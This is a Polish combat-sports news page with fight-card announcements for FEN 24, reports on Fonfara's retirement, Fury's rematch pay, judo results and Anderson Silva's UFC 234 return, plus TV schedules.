Debiut w MMA zaliczy Radosław Paczuski, który spotka się z rodakiem – Jarosławem Lechem. Kolejne starcie biało-czerwonych: Dawid Kobiera kontra Mateusz Lazowski. Ten pierwszy ma na koncie premierową wygraną w MMA, drugi czeka na triumf. W akcji zobaczymy również byłego zawodnika KSW Aslambeka Saidova, który ma serię trzech zwycięstw z rzędu. Jego rywalem w hali Torwar będzie Ciro Rodrigues. Galę otworzy pojedynek Grzegorza Joniaka z Shamanem Erzanukaevem.

Fot. materiały organizatora

KM

FighTime Live – 18.02.2019

[kod]

Program TV na 18.02.2019   ""

10.00 – Konferencja Angels of Glory (2016)
10.30 – Gala Angels of Glory 1 (2016)
12.00 – STUDIO – gościem Piotr Siegoczyński (2018)
12.05 – Gala DSF 2 (2014)
13.05 – STUDIO – gośćmi Krzysztof Kaproń i Przemysław Ziemnicki (2018)
13.20 – Gala Granda PRO 1 (2016)
14.30 – STUDIO – gościem Grzegorz Chałubiński (2018)
14.50 – Gala LFN 3 (2016)
17.55 – Reportaż o Marku Piotrowskim (2018)
18.05 – STUDIO – gościem Dariusz Piwowarski (2015)
18.40 – Zakończenie programu

FighTime Live – 20.02.2019

[kod]

Program TV na 19.02.2019   ""

10.00 – STUDIO – gościem Patryk Kuryłek
10.15 – Gala Masters of Series 2 – Lesznowola
12.30 – Reportaż – Kadra Polski Judo Kobiet zgrupowanie w Cetniewie
12.55 – European Judo Open Women 2016
13.40 – STUDIO – gościem Grzegorz Engel
14.05 – Gala Pałuska Kickboxing Night 3
15.55 – Gala Granda PRO 3
17.45 – Reportaż European Judo Open Women Warsaw
18.20 – Reportaż – Road to bronze medal. Polish Judo Team Men`s, Kazań 2016
18.25 – Reportaż – Road to gold medal. Polish Judo Team Women, Kazań 2016

Rajewski z Gęsiarzem powalczą o podbój Warszawy

Robert Rajewski (5-6) zmierzy się z Michałem Gęsiarzem (18-2-1) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Limit pojedynku w formule K-1 to 70 kilogramów.

Rajewski wystąpił podczas gali FEN 23 w Lubinie, gdy nieznacznie przegrał na punkty z Łukaszem Kaczmarczykiem. Zawodnik z Płocka może pochwalić się wieloma sukcesami na koncie, m.in. wielokrotnie zdobywał tytuł kickbokserskiego mistrza Polski i uczestniczył w prestiżowym turnieju King of Kings World GP. Trenowany przez swego ojca Roberta zawodnik ma na swym koncie także tytuł międzynarodowego mistrza Polski w wushu sanda, z którego się wywodzi.

Gęsiarz, mimo że pochodzi z warszawskiego Żoliborza, w swoim rodzinnym miejście walczył tylko raz. Zawodnik mieszka i trenuje w Berlinie w klubie Golden Glory pod okiem trenera Tareka Gromnicy. Co ciekawe, w Niemczech walczy w systemie klasowym, aktualnie jest według tamtejszych zasad zawodnikiem aspirujacym do A-klasy. Gęsiarz to aktualny mistrz Europy IPTA.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS TBA * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS TBA 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka 2 
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz 

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Doświadczony Zieliński spróbuje powstrzymać Łebkowskiego na FEN 24

Adrian Zieliński (17-8, 4 KO, 6 SUB) zmierzy się z Kamilem Łebkowskim (16-8, 9 KO, 2 SUB) podczas gali Fight Exclusive Night 24, która 16 marca odbędzie się w hali COS Torwar. Pojedynek ten będzie eliminatorem do pasa mistrzowskiego w kategorii piórkowej.

Zieliński ma 32 lata i trenuje w olsztyńskim klubie Berkut Arachion. Karierę zawodową rozpoczął w 2010 roku, gdy przez poddanie wygrał z Rafałem Rynkowskim. W latach 2013-2015 mógł pochwalić się serią siedmiu kolejnych zwycięstw z rzędu. W 2017 roku podczas gali ACB 52 wygrał na punkty jednogłośną decyzją sędziów z Rasulem Yakhyaevem. Spośród 17 zwycięskich pojedynków aż 10 miało miejsce przed czasem.

Łebkowski w październiku 2018 roku po bardzo dobrym pojedynku wygrał jednogłośną decyzją sędziów z Łukaszem Demczurem. Wcześniej toczył znakomite boje z Gabrielem Silvą i Daguirem Imavovem, na rozkładzie ma również byłego zawodnika UFC, Piotra Hallmanna. Łebkowski jest jednym z najbardziej doświadczonych zawodników w FEN, a zwycięstwo z Zielińskim na początku 2019 roku ma mu otworzyć szansę na zdobycie pasa mistrzowskiego.

Karta walk FEN 24:

+95 kg, K-1: Arkadiusz Wrzosek VS Patrick Schmid * 
77 kg, MMA: Andrzej Grzebyk VS Kamil Gniadek * 
85 kg, K-1: Radosław Paczuski VS TBA * 
55 kg, MMA: Kamila Porczyk VS Anita Bekus 
80 kg: Arab VS Wujek Samo Zło 
120 kg MMA: Grzegorz Ciepliński VS Szymon Bajor 
66 kg, MMA: Kamil Łebkowski VS Adrian Ziółkowski 
84 kg, MMA: Bartosz Leśko VS Marcin Naruszczka  
77 kg, MMA: Marcin Krakowiak VS Michał Tarabańka 
70 kg, K-1: Robert Rajewski VS Michał Gęsiarz

* Stawką tych pojedynków będą pasy mistrzowskie federacji Fight Exclusive Night.

Zaskakująca decyzja Fonfary

Andrzej Fonfara podjął decyzję o zakończeniu kariery, choć 9 marca miał stoczyć kolejny pojedynek. – Nie mam już serca do boksu – wyznał 31-letni pięściarz.

W czerwcu 2018 roku Andrzej Fonfara zadebiutował w wadze junior ciężkiej (wcześniej rywalizował w półciężkiej). Polak cieszył się ze zwycięstwa w starciu z Ismaiłem Sillachem w szóstej rundzie. 9 marca Fonfara miał stoczyć drugi pojedynek w kategorii junior ciężkiej. W Dignity Health Sports Park zaplanowano starcie "Polskiego Księcia" z Edwinem Rodriguezem z Dominikany. Fonfara przygotowywał się do walki, jednak do tej ostatecznie nie dojdzie. 31-letni pięściarz ogłosił zakończenie kariery. – Prawie 20 lat w boksie! Kiedy zaczynałem w dwutysięcznym roku jako 12 letni chłopak nie myślałem, że będzie to aż tak długa i piękna przygoda którą właśnie. Kończę jako spełniony sportowiec i człowiek! – napisał w mediach społecznościowych.

W przypadku Fonfary przeszkodą do dalszej rywalizacji na pewno nie jest wiek. Również nie pojawiały się doniesienia o kłopotach zdrowotnych. Decyzja Fonfary jest zaskakująca, a prawdę mówiąc – sensacyjna. Bokser wyjaśnia powody takiego kroku. – Nie ma już tego zapału a przede wszystkim motywacji i tej adrenaliny która dawała chęci wyjścia do ringu i rywalizacji – podkreśla Fonfara. – Jestem zdrowy, wszystko OK, ale nie mam już serca do boksu. Ja zawsze na 100 procent albo nic. Inaczej nie umiem – dodaje.

 „Polski Książę” zwrócił się również do tych, którzy przez lata kariery byli przy nim. – Dziękuje wszystkim którzy byli ze mną przez te wszystkie lata mojej kariery kiedy wygrywałem a jeszcze bardziej tym którzy byli gdy przychodziła porażka  – napisał Andrzej Fonfara.

Na zawodowym ringu "Polski Książę" zadebiutował 3 czerwca 2006 roku. W Ostrołęce pokonał Miroslava Kubika. Łącznie Fonfara wygrał 30 pojedynków, w tym 18 przez nokaut. Na swoim koncie zapisał pas IBO w wadze półciężkiej. Rywalizował również o mistrzostwo WBC, jednak dwukrotnie musiał uznać wyższość Adonisa Stevensona. Fonfara stoczył wiele efektownych pojedynków. Na rozkładzie ma m.in. były mistrzów świata – Julio Cesara Chaeveza Jr., Chada Dawsona i Nathana Cleverly'ego.

Fot. Andrzej Fonfara Facebook

KM

Wielka kasa za rewanż

Tyson Fury może liczyć na pokaźne wynagrodzenie za rewanżowy pojedynek z mistrzem świata WBC w wadze ciężkiej Deontayem Wilderem. Mówi się, że na konto olbrzyma z Wilmslow wpłynie 20 milionów funtów.

Wiadomo, że gwiazdy przyciągają tłumy i ich wkład w budowanie widowiska kosztuje. Najlepsi mogą liczyć na grube miliony. 1 grudnia 2018 roku w Staples Center w Los Angeles odbyło się pasjonujące widowisko bokserskie. Tyson Fury dostał szansę, po wielu osobistych perypetiach, aby ponownie zaistnieć na szczytach kategorii ciężkiej. Mocny i dysponujący potężnym ciosem Deontay Wilder pewnie dzierżył pas WBC i odprawiał kolejnych rywali. Fury postawił się jednak Amerykaninowi i zaprezentował się z bardzo dobrej strony, czego efektem był werdykt w postaci remisu. Wilder zarobił za walkę 4 miliony dolarów, jego rywal o milion mniej. Trzeba dodać do tego również wpływy z pay per view. Wedle szacunków Wilder mógł otrzymać łącznie 14 milionów dolarów, zaś Fury 10 milionów dolarów.

Niemalże pewne było, że będzie musiało dojść do rewanżu. Wilder i Fury są gwarancją widowiska, a po pierwszej walce wszyscy spodziewają się niesamowitych grzmotów i wielkich emocji. Dodając do tego fakt, że żaden z  bokserów nie przebiera w słowach – na każdym etapie promocji walki będzie gorąco. W tle ciągle znajduje się Anthony Joshua, ale na dziś większym magnesem są Wilder i Fury, którzy są gwarantują odpowiedni poziom sportowy i show. 

Potrzeba tylko kropki nad "i". Wszystko wskazuje na to, że Wilder i Fury spotkają się 18 maja w Nowym Jorku. Brytyjczyk może liczyć na pokaźną gażę. Według "Daily Mail" Fury na rewanżowym pojedynku z Wilderem może zarobić aż 20 milionów funtów!

Kolejna walka dla „Brązowego Bombardiera” będzie dziewiątą obroną mistrzowskiego pasa. Fury stoczy czwarty pojedynek od powrotu na ring, który miał miejsce w czerwcu zeszłego roku. Obaj pięściarze jeszcze nigdy nie ponieśli porażki.

Fot. Tyson Fury Facebook

KM

Włoskie zdobycze

Dobry występ polskich kadetów w Pucharze Europy w judo w Follonicy. Złoto wywalczyła Katarzyna Sobierajska (70kg). Biało-czerwoni zajęli 5. miejsce w klasyfikacji medalowej. Z kolei w zawodach Grand Slam w Paryżu bez powodzenia rywalizował Tomasz Szczepaniak (90kg).

Judoczka AZS UW Warszawa okazała się postrachem holenderskich zawodniczek. Sobierajska stoczyła we Włoszech pięć walk, w tym aż cztery z przeciwniczkami z kraju tulipanów. Polka szła jak burza – zaczęła od pokonania Sarah Hector, w drugim starciu wygrała z Rumunką Claudią Tarbą. Kolejne pojedynki wygrała w czasie poniżej minuty – ofiarami Sobierajskiej były Yael van Heemst i Lotte Schutjes. Co istotne – zawodniczka AZS UW Warszawa cztery walki wygrała przez ippon. Dopiero w finale mocno trzymała się Cheyenne van der Sluis, ale ze złota cieszyła się Sobierajska.

O krok od triumfu był również Wojciech Grądzki (73kg). Brązowy medalista zawodów z Gyor z listopada 2018 roku stoczył we Włoszech aż sześć pojedynków. Polak bez większych problemów awansował do finału, jednak tam lepszy okazał się Szwajcar Aurelien Bonferroni. Drugie miejsce w Follonicy zajął Albin Kocioł (81kg). Polak trzy walki rozstrzygnął na swoją korzyść w mgnieniu oka, przez waza ari pokonał Rosjanina Illiasa Murzabekova. Finał był wyczerpujący. Po dogrywce Kocioł musiał uznać wyższość Mikhaila Avdeeva.

Trzecie miejsce zajęła Oliwia Onysk (40kg). Na początku Polka przegrała z Lindą Verhaart, ale poradziła sobie w repasażach. W starciu o brąz Onysk wygrała przed czasem. O podium otarła się Alicja Gowarzewska (48kg) – 5. pozycja.

Najlepiej w Follonicy zaprezentowali się gospodarze. Włosi zdobyli 14 medali, czyli o dwa mniej niż Rosjanie, jednak reprezentanci Sbronej aż dziewięciokrotnie stawali na trzecim stopniu podium przy pięciu triumfach i dwóch srebrach. Z kolei Italia zanotowała – 6 krążków z najcenniejszego kruszcu. Do tego Włosi dołożyli trzy srebra i pięć brązów.

Krótka przygoda

W turnieju Grand Slam w Paryżu zaprezentował się Tomasz Szczepaniak (90kg). Polak wygrał z Estończykiem Mattiasem Kuusikiem, ale w kolejnym starciu przegrał z reprezentantem Mołdawii Iurie Mocanu.

Najlepsi w Paryżu byli Japończycy (5-3-7), którzy wyprzedzili Francuzów (2-1-2). Za nimi Korea Południowa (2-0-3).

KM

Powrót Silvy

Po dwóch latach do oktagonu wraca Anderson Silva. Podczas gali UFC 234 w Melbourne legendarny Brazylijczyk zmierzy się z niepokonanym Israelem Adesanyą.

Niektórzy być może zdążyli zapomnieć o 43-letnim zawodniku z Kraju Kawy. Po raz ostatni Anderson Silva pojawił się w oktagonie UFC 11 lutego 2017 roku. Podczas gali UFC 208 w Barclays Center w Nowym Jorku pokonał decyzją sędziów Dereka Brunsona. Dla Brazylijczyka była to 34 wygrana w karierze. Dziewięć miesięcy później popularny "Spider" miał rywalizować z Kelvinem Gastelumem, jednak na kilka tygodni przed pojedynkiem wypadł z rozpiski ze względu na wpadkę dopingową. Było to drugie tego typu zdarzenie w karierze Silvy. Pierwsze miało miejsce w 2015 roku.

Pojawiały się informacje, że byłemu mistrzowi wagi średniej UFC może grozić nawet osiem lat zawieszenia! Sugerowano nawet ewentualne zakończenie kariery przez Brazylijczyka. Sytuacja potoczyła się inaczej. W organizmie zawodnika wykryto m.in. metylotestosteron, który pochodził z zanieczyszczonych suplementów. Na etykiecie nie została wymieniona żadna z zabronionych przez Agencję Antydopingową substancji. Kara dla Silvy – rok zawieszenia. 10 listopada 2018 roku Brazylijczyk mógł myśleć o kolejnym starciu.

10 lutego w Australii wróci do rywalizacji, ale nie będzie miał łatwego zadania. Wiek robi swoje, a młodość idzie do przodu. Israel Adesanya wygrał piętnaście walk, a w UFC debiutował w zeszłym roku. Nigeryjczyk zdążył stoczyć już cztery walki dla amerykańskiej organizacji, dwie wygrał przed czasem. Ostatnio w pierwszej rundzie odprawił Dereka Brunsona.

Silva, choć jest legendą UFC, ostatnio nie nawiązywał do najlepszych czasów. Po czterech porażkach i uznanej za nieodbytą walkę z Nickiem Diazem, przyszło zwycięstwo z Brunsonem. Czy tym razem głodny rywalizacji Silva nawiąże do starych, dobrych czasów? Adesanya będzie dążył do kolejnego zwycięstwa, które może przybliżyć do starcia o pas.

W walce wieczoru UFC 234 zaprezentują się Robert Whittaker i Kelvin Gastelum. Stawką pojedynku będzie pas wagi słomkowej, który należy do Australijczyka. Whittaker stanie do pierwszej obrony tytułu.

Fot. Anderson „The Spider” Silva Facebook

KM